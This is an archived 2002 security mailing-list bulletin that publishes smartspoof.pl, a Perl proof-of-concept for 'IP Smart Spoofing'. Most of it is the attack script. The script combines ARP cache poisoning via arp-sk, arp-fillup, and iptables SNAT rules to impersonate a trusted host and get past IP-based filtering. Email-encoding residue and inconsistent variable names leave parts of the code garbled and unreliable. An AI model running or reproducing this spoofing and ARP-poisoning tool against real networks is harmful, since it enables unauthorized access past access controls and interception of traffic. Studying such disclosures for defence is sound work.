

[EXPL] Exploit Code for IP Smart Spoofing

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-11/0040.html>

From: support@securiteam.com

Date: 11/14/02

From: support@securiteam.com

To: list@securiteam.com

Date: 14 Nov 2002 17:46:34 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit http://www.worldonline.co.za/services/work_ip.asp

Exploit Code for IP Smart Spoofing

SUMMARY

As Laurent Licour reported in our previous article: <http://www.althes.fr/ressources/avis/smartspoofing.htm> IP Smart spoofing, we introduced a new method for IP Spoofing, allowing full-connection from any client software.

The exploit code `smartspoof.pl` is a proof of concept (for educational purpose only) of the Smart Spoofing method.

DETAILS

Exploit Code (perl source) :

```
#!/usr/bin/perl -w
```

```
#
```

```
# smartspoof.pl
```

```
#
```

```
# This script is provided as proof of concept for educational purpose only
```

```
#
```

```
# Laurent Licour 28/10/02
```

```
# llicour@althes.fr
```

```
# Althes (http://www.althes.fr)
```

```
#
```

Securiteam: [EXPL] Exploit Code for IP Smart Spoofing

```
# Start/Stop smart spoofing
# http://www.althes.fr/ressources/avis/smartspoofing.htm
#
# Require linux 2.4 (tested on Redhat 7.3)
# Require NetAddr::IP perl package (www.cpan.org)
# Require arp-sk tool (www.arp-sk.org)
# Require arp-fillup tool
(www.althes.fr/ressources/avis/smartspoofing.htm)
# Require iptables (www.iptables.org)

use strict;
use Getopt::Long;
use NetAddr::IP;

sub get_ip_next_hop
{
    my ($ip0, $int) = @_;
    my $ip = NetAddr::IP $ip0;
    =20
    open(ROUTE, "route -n |");
    <ROUTE>; <ROUTE>;
    my $gateway = "";
    my $masklen; my @fields; my $line; my $entry;
    while($line = <ROUTE>)
    {
        @fields = split / +/, $line;
        $entry = NetAddr::IP($fields[0] . "/" . $fields[2]);
        if ($entry->contains($ip))
        {
            if (($gateway eq "") or ($masklen < $entry->masklen()))
            {
                $gateway = $fields[1];
                $masklen = $entry->masklen();
                $$int = $fields[7];
                chop $$int;
            }
        }
    }
    die "Error : No route for $ip\n" if ($gateway eq "");
    $gateway = $ip->addr() if ($gateway eq "0.0.0.0");

    return($gateway);
}

sub get_mac
{
    my $ip = shift;
    my $cmd = "ping -c 1 -w 1 $ip >/dev/null 2>&1";
    system($cmd);
    $cmd = "cat /proc/net/arp | grep $ip' ' | awk '{print \$4}'";
    my $mac = ` $cmd `;
}
```

Securiteam: [EXPL] Exploit Code for IP Smart Spoofing

```
chop($mac);
return($mac);
}

sub usage
{
    print "Start/Stop de smartspoofing\n\n";
    print "This is the proof of concept of the smartspoofing technique\n";
    print "(visit
http://www.althes.fr/ressources/avis/smartspoofing.htm)\n";
    print "\n";
    print "You only have to specify :\n";
    print " -D : address of the filtering equipement to connect to\n";
    print " -S : address of the trusted host to spoof\n";
    print "\n";
    print "Then, you only need to launch your favorite client software from
this host\n";
    print "or any host behind this (because it is now a router)\n";
    print "\n";
    print "This script is provided as proof of concept for educational
purpose
only.\n";
    print "\n";

    exit 0;
}

my $syntax =3D "syntax: $0 [-i eth0] [-h] [-v] -D <@IP destination> -S
<@=
IP
source> -start|-stop\n";

my $ver =3D "smartspoof.pl v1.0 28/10/02\n";

my ($ipsrc, $ipdst);
my ($start, $stop);
my $interface =3D "";
my ($version, $help);

Getopt::Long::GetOptions(
    "D=3Ds" =3D> \$ipdst,
    "S=3Ds" =3D> \$ipsrc,
    "i=3Ds" =3D> \$interface,
    "v" =3D> \$version,
    "h" =3D> \$help,
    "start" =3D> \$start,
    "stop" =3D> \$stop
) or die $syntax;

usage if $help;
die $ver if $version;
```

Securiteam: [EXPL] Exploit Code for IP Smart Spoofing

```
die $syntax unless @ARGV =3D=3D 0;
die $syntax unless defined($spsrc) and defined($ipdst);
die $syntax unless defined($start) or defined($stop);
die $syntax if $start and $stop;

my $cmd;

my ($sintsrc, $sintdst);
my $spsrc_next_hop =3D get_ip_next_hop($spsrc, \($sintsrc);
my $ipdst_next_hop =3D get_ip_next_hop($ipdst, \($sintdst);
$interface=3D$sintdst if ($interface eq "");

if ($start)
{
    print "Activate IP Forwarding\n";
    system("echo 1 > /proc/sys/net/ipv4/ip_forward");

    print "Activate Arp fillup on $spsrc\n";
    system("arp-fillup -i $interface -D $spsrc >/dev/null 2>&1 &");

    print "Set NAT rule on iptables\n";
    $cmd=3D"iptables -t nat -A POSTROUTING -o $interface -d $ipdst -j SNAT
--=
to
$spsrc";
    system($cmd);

    print "Deactivate ICMP Redirect\n";
    system("iptables -A OUTPUT -p icmp --icmp-type host-redirect -j DROP");

    print "Activate Arp cache poisoning of $spsrc_next_hop entry on
$ipdst_next_hop on $interface\n";
    $cmd=3D"arp-sk -w -i $interface -d $ipdst_next_hop -S $spsrc_next_hop -D
$ipdst_next_hop -c 1 >/dev/null 2>&1";
    system($cmd);
    $cmd=3D"arp-sk -r -i $interface -d $ipdst_next_hop -S $spsrc_next_hop -D
$ipdst_next_hop >/dev/null 2>&1 &";
    system($cmd);
}
elsif ($stop)
{
    print "Suppress Arp fillup on $spsrc\n";
    system("killall arp-fillup");

    print "Suppress Arp cache poisoning of $spsrc_next_hop entry on
$ipdst_next_hop\n";
    system("killall arp-sk");
    my $mac=3Dget_mac($spsrc_next_hop);
    $cmd=3D"arp-sk -r -c 1 -i $interface -d $ipdst_next_hop -S
$spsrc_next_hop:$mac -D $ipdst_next_hop >/dev/null 2>&1";
    system($cmd);
}
```

Securiteam: [EXPL] Exploit Code for IP Smart Spoofing

```
print "Clear iptables rules\n";
system("service iptables stop");
system("service iptables start");

print "Desactivate ip forwarding\n";
system("echo 0 > /proc/sys/net/ipv4/ip_forward");
}
```

ADDITIONAL INFORMATION

The additional software "arp-fillup" is necessary to achieve this:
<<http://www.althes.fr/ressources/tools/arp-fillup/arp-fillup-0.1.tgz>>
<http://www.althes.fr/ressources/tools/arp-fillup/arp-fillup-0.1.tgz>

These tools are also available on
<<http://www.althes.fr/ressources/avis/smartspoofing.htm#tools>>
<http://www.althes.fr/ressources/avis/smartspoofing.htm#tools>

The information has been provided by <<mailto:llicour@althes.fr>> Laurent Licour.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[UNIX] APBoard Vulnerability Allows Posting to Protected Forums and Hijacking of Forum Passwords"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)